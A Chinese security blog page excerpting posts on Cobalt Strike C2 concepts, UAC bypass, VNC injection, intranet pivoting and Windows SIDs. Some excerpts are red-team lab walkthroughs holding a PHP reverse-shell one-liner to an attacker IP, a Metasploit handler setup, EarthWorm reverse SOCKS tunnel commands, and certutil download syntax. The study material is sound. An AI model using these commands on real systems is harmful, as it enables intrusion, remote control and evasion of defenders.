Snowming04's Blog
一颗红❤
Operations ，也就是操作。笔记记录是有选择的，一些基本的 CS 中的东西比如 可拓展 C2、cna 插件、团队服务器，因为关于这些的基本操作我已经了解了，就没有记。闲话不多说，下面进入笔记正文部分。
要了解一个领域，就要先了解其领域内的概念范畴。CS 中的一些概念包括：
agent
agent 的本意为代理。当攻击者通过代码执行，有一个 agent 运行在目标网络中，就可以对目标网络进行命令与控制。所以 agent 实际上相当于 Beacon payload。
Staging 服务器
在 Cobalt Strike 中，为了获取目标主机的 Beacon shell，必须先要传送 payload。payload 就是攻击执行的内容。
传递 payload 时候，根据目标的网络、主机环境，可以选择分阶段传递 payload，也可以不分阶段直接丢一个 payload。
分阶段传递中，Payload 通常被分为两部分：payload stage 和 payload stager。stager 是一个小程序，通常是手工优化的汇编指令，用于下载一个 payload stage、把它注入内存，然后对其传达执行命令。这个过程被称为 staging（分阶段）。
staging（分阶段）过程在一些攻击行动中是必要的。很多攻击中对于能加载进内存并在成功漏洞利用后执行的数据大小存在严格限制。这会极大地限制你的后渗透选择，除非你分阶段传送你的后渗透 payload。
在这里的 staging server，其实是指最开始用于传递
最近在看 Cobalt Strike 4.0 手册的时候，一直遇到 Pivot 这个词，我也不知道怎么翻译比较好，意思就是把一台受害机器作为支点，以此机器为基础横向？大概是这样吧，刚好翻看今天的 RSS 订阅时看到 Pivoting 技术的一个靶机环境，记录下操作。
Step 1：扫描目标 A
nmap -sV -script=banner 192.230.141.3
看到目标 A 开放了 web 服务。是 Wolf CMS。
通过查询 EXPLOIT DATABASE 发现 Wolf CMS 存在任意文件上传漏洞：
上传一个 php 的小马，仅有命令执行和文件上传功能：
通过访问路径 192.230.141.3/public/php-backdoor.php 查看此小马：
Step 2：开启 PHP 反弹 shell 监听器
# msfconsolemsf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set PAYLOAD php/reverse_phpmsf5 exploit(multi/handler) > ip addr# 得到攻击机的本机IP为 192.230.141.2msf5 exploit(multi/handler) > set LHOST 192.230.141.2msf5 exploit(multi/handler) > exploit
然后就在攻击机器的随意端口通过 msf 开启了反弹 shell 的监听，此处为 4444 端口：
在小马上通过此命令弹一个 /bin/sh 终端给攻击机器的反弹 shell 监听端口：
php -r '$sock=fsockopen("192.230.141.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
通过小马的命令执行功能执行此 PHP webshell payload，然后得到一个反弹 shell：
后面找 flag 的具体步骤就不多说了，通过 fin
C2 就是 Command & Control Server 的简称，也就是命令与控制服务器。
如下图是 C2 的大致通信模型。实现 C2 通信有时候很难，因为出口防火墙规则限制或进程限制。
Cobalt Strike 的团队服务器其实也是一种 C2 服务器。CS 的客户端相当于上面的「客户端」，CS 的团队服务器相当于上面的「攻击者的C2」。另外 CS 中，团队服务器会将要执行 的任何动作都以计划任务列表的形式进行管理，也就是说，在不考虑通信协议的前提下，CS 中的 C2 通信流程大概为：
现在的 Cobalt Strike （4.0版本之前）中，比较常用的 C2 通信方式是使用反向 shell 和反向 HTTP C2 通道。然而随着时间和防御水平的提高，这种「传统方法」势必会越来越难以生效。
在这种情况下，势必需要一些实现 C2 通信的替代方法，外部 C2 就是这样的一种方法。
在 Cobalt Strike 4.0 中，对监听器类型做了扩充，直接加入了外部 C2 的 Payload 选项。
但其实，外部 C2 并非 CS 4.0 才有。之前的 Cobalt Strike 版本中（外部 C2 是自 Cobalt Strike 3.6 引入的功能），也一直有提供外部 C2 接口、允许第三方程序充当 Cobalt Strike 与其 Beacon payload 之间的通信层。只是没有直接在监听器这里加入这种 Payload 选项。
外部 C2 也不仅仅是 Cobalt Strike 才有，一些框架都会提供外部 C2 的方法，比如 MSF。
总之，我们看到了未来的方向：基于但不限于框架、使用多种方法、拓展协议实现 C2 通信。
2020/1/21更新：
CS 手册 4.0 中说：
Cobalt Strike 附带了一些绕过 UAC 的攻击。但如果当前用户不是管理员，攻击会失效。要检查当前用户是否在管理员组里，使用
run whoami /groups命令。
所以本文中使用 uac-dll 和 uac-token-duplication 这两个 CS 中注册的 bypass UAC 模块的姿势不对，需要先提权，至 Administrator 或者 SYSTEM 权限。然后再通过 elevate 命令使用这些 Bypass UAC 的模块。
原文：
本文只是记录下基本操作。这些操作都是我在读 Cobalt Strike 官网的 CS 4.0 手册的过程中自己无中生有凭空想出来的，所以方法可能不是很主流，有点繁琐、操作较麻烦，但是也是我自己试了完全可行的。慢慢探索更简单的道路吧、本菜鸡对自己要求不是太高，注重对自己创造力的培养。
实验环境: Cobalt Strike 3.14 非试用版
受害机器：有 360(ZhuDongFangYu.exe) 的 WIN10
本文看点:
一些后渗透命令要求系统管理员级别的权限。Beacon 有几个帮助用户提升访问权限的选项。
通过 elevate 命令利用漏洞提权
输入 elevate 可以列出在 Cobalt Strike 中注册的权限提升漏洞。运行 elevate [exploit listener] 来尝试使用特定的漏洞利用来提权。
图形化的操作路径是：通过 [beacon] → Access → Elevate 来启动其中一个漏洞利用。
如图，在 Cobalt Strike 3.14 非试用版中，elevate 模块内置了：
这三个模块。ms
在 Cobalt Strike 中，在获取目标机器的 Beacon shell 的前提下，要与目标主机上的桌面交互，通过 [beacon] → Explore → Desktop(VNC)。这会将一个 VNC 服务器转入当前进程的内存中并通过 Beacon 对连接建立隧道。
当 VNC 服务器准备就绪时，Cobalt Strike 会打开一个标签为 Desktop HOST@PID 的标签页。
也可以使用 Beacon 的 desktop 命令来将一个 VNC 服务器注入一个特定的进程。使用 desktop pid 架构 low|high 命令。最后一个参数用于指定 VNC 会话的画质。
环境：
ZhuDongFangYu.exe) 杀软。通过选项卡 Desktop (VNC) 选项无法打开 Desktop 标签页：
可以看到在团队服务器的 7609 端口派生了一个 VNC 服务器，但是与 VNC 服务器的连接没有响应。
尝试的一些思路是：
1、查看 VNC 的 DLL 是不是存在：
在 Cobalt Strike 团队服务器上确认存在：
2、查看团队服务器的 7609 端口是否开放：
看上去就是此服务，那也不是端口的问题。
解决方案就是：
参考了使用键盘记录和截屏工具的思路，把 Desktop(VNC) 工具注入到 explorer.exe 进程中，这样回来一个会话，即用此会话去开 VNC Desktop。
具体命令：
在 Beacon 控制台中，
desktop [explorer pid] x86|x64 low|high
注：
low|high 控制截屏画质。操作实例：
注意：
有时候也会有这种情况，就是用户存在，没登录进去，一个标志就是没有 winlogon.exe：
这种情况下，键盘记录、截屏、VNC 桌面等这些后渗透工具都用
写作本文的初衷，是在探索 Cobalt Strike 的 C2 隐蔽上线、与 Beacon 通信的过程中，遇到了一些涉及内网机器出网刺探、隧道技术的地方。比如，一般来说 Cobalt Strike 的团队服务器，也就是通常来讲的 C2 一般都开在公网上，这样可以便于团队成员的合作。但是为了避免团队服务器被反制、反捅，我们可以把团队服务器开在本地，借助 SSH 隧道与公网 VPS 之间进行流量转发，这样可以提高我们团队服务器的行为安全。又比如、我们可以通过多级反代，在目标受害机器跟真实的团队服务器中间建立一条隐蔽通道，这样可以增加溯源反制成本。又或者，我们可以加入一些域名前置的方法，或者结合以上两种方法构建更复杂的 Beacon 和 listener 之间的通信路线，当然是在时延可被接受的前提下。
于是我想做一点关于探测内网连通性的总结。在真实的项目中，我也遇到过需要探测内网连通性的场景。探测分为两个方面：
不仅要探测内网中的机器跟外网的连通性，也要探测一些内网机器之间的连通性。比如，一些 172 开头的办公区机器，很显然它不具备与外网之间的连通性，但是它与 DMZ 中的某台边缘机器是否相通？某个内网中如果具备多种不同的内网段、某台机器具有多个网卡，某台可出网的被控机器和这些内网机器之间是否相通？
探测内网机器能否出网很容易理解，因为要跟 C2 通信。但是探测内网机器之间的连通性有什么作用呢？
假设这样一个场景，当前我们已经拿到了目标内网中的一台机器的 beacon，然后又通过其它方式获取了了同内网下的另一台 windows 机器的本地 administrator 密码，并且这台机器的 smb[445 端口]能正常 通信。但是，因为某些设置，这台 windows 机器并不能正常访问外网，也就是说没法再正常的反弹 beacon shell 了。在这种情况下，我依然可以通过当前仅有的这个 beacon shell 把内网那台不能正常访问外网的机器也一块给带出来。比如在 Cobalt Strike 中可以借助 wind
内网穿透工具：EW（EarthWorm）
下载地址： https://github.com/idlefire/ew
网络拓扑：Kali Linux是我本地的一台虚拟机，Ubuntu是公网上的一台 vps，Windows 10 是目标机器，内网IP，部分端口映射到外网，可以访问公网。
现在已拿到目标内网一台机器的权限（该机器将80端口映射至外网，Web服务存在漏洞，已拿到webshell）。需要对内网做进一步的渗透，目前我有一台公网的Ubuntu，一台内网的Kali，如何反向Socks5**将Kali的流量代理进目标内网**？
该使用场景为：
此处仅演示通过EW做反向Socks5代理，正向、多级级联的的代理方式可以参考官方文档。
./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
该命令的意思是说公网机器监听1080和1024端口。等待攻击者机器访问1080端口，目标机器访问1024端口。
ew_for_Win.exe -s rssocks -d 144.168.57.70 -e 1024
其中-d参数的值为刚刚的公网IP。
Windows 10 目标机器：
注意这里访问了 1024 端口。
方法一：Kali 浏览器设置Soc
写这篇的起因是围观了一点对话：
问：在工作组环境下，db服务器不出网（站库分离），有cmdshell。如果只是单单针对这个入口，有什么思路进行深入？
答：在echo正常的情况下，可以将工具打成base64丢上去抓明文密码，或者hash。
将工具做成base64丢上目标纯内网db服务器 这是什么操作？
我去问了我朋友，他就跟我说了一个 certutil，剩下的就靠自己操作了。
certutil.exe 是一个合法Windows文件，用于管理Windows证书的程序。
微软官方是这样对它解释的：
Certutil.exe是一个命令行程序，作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件以及验证证书，密钥对和证书链。
但是此合法Windows服务现已被广泛滥用于恶意用途。
渗透中主要利用其 下载、编码、解码、替代数据流 等功能。
-f
覆盖现有文件。
有值的命令行选项。后面跟要下载的文件 url。
-split
保存到文件。
无值的命令行选项。加了的话就可以下载到当前路径，不加就下载到了默认路径。
-URLCache
显示或删除URL缓存条目。
无值的命令行选项。
（certutil.exe 下载有个弊端，它的每一次下载都有留有缓存。）
-encode
将文件编码为Base64
-decode
解码Base64编码的文件
(1) 保存在当前路径，文件名称同URI
语法：
certutil.exe -urlcache -split -f 文件url
payload:
效果：
如图，没有问题：
(2) 保存在当前路径，指定保存文件名称
语法：
certutil.exe -urlcac
事情的起因是看到了这样一段话:
众所周知，RID 是 SID 的最后一位。这里面说到了用户有 RID，那么也就是说用户有 SID，这个是自然的，继续往下看。
然后又说 /groups 参数指定用户所属组的 RID，这也就是说组也有 SID。也可以理解吧，因为 SID 就是一个安全身份标识符，自然可以标识很多东西。
那么看下我的域内的一台 windows server 2008 r2 上面的 SID：
嗯，看上去没毛病。但是跟这里描述的不一样啊：
既然说了组，那么就大胆猜测一个命令吧：
wmic group get name,sid
然后就开始变得有意思起来了，查询到的 SID 有长有短：
那么这些 SID 为什么有的长有的短呢？
经查资料，发现短的 SID 是微软内置（built-in）的一些：
Well-known security identifiers in Windows operating systems
如果仅仅理解为，短的是内置，长的不是内置，似乎太过肤浅。
那么来进行一点点的探索，观察发现：短的 SID 始终固定，长的 SID 具体内容会变化。
跟微软文档进行对比发现：短的 SID 是根据操作系统始终固定的：
那这些短的 SID 对应的对象是什么呢?
其实是「本地组」。
其实也很好理解。组是 windows 自带的机制，每一台机器都必定会有本地组，但是不一定会有域组。所以本地组的 SID 是固定的。
那那些长的 SID 对应的对象又是什么呢?
先看同一个域内的两台机器：
发现红框和绿框内的有区别，但是黄框里面的 SID 是一样的。其实原因很明显：红框和绿框内的是本机用户对应的 SID，黄框部分是域用户对应的 SID。
再比较下另一个域的机器上查看 SID 的情况，域用户（krbtgt）的 SID 和前一个域里面的也不一样：
域组的 SID 呢，可以想见，必定是长的 SID，因为域不是计算机自带的，所以必定不是内置的。
在 Windows 里面，不仅用户有本地和域的概念，组也是。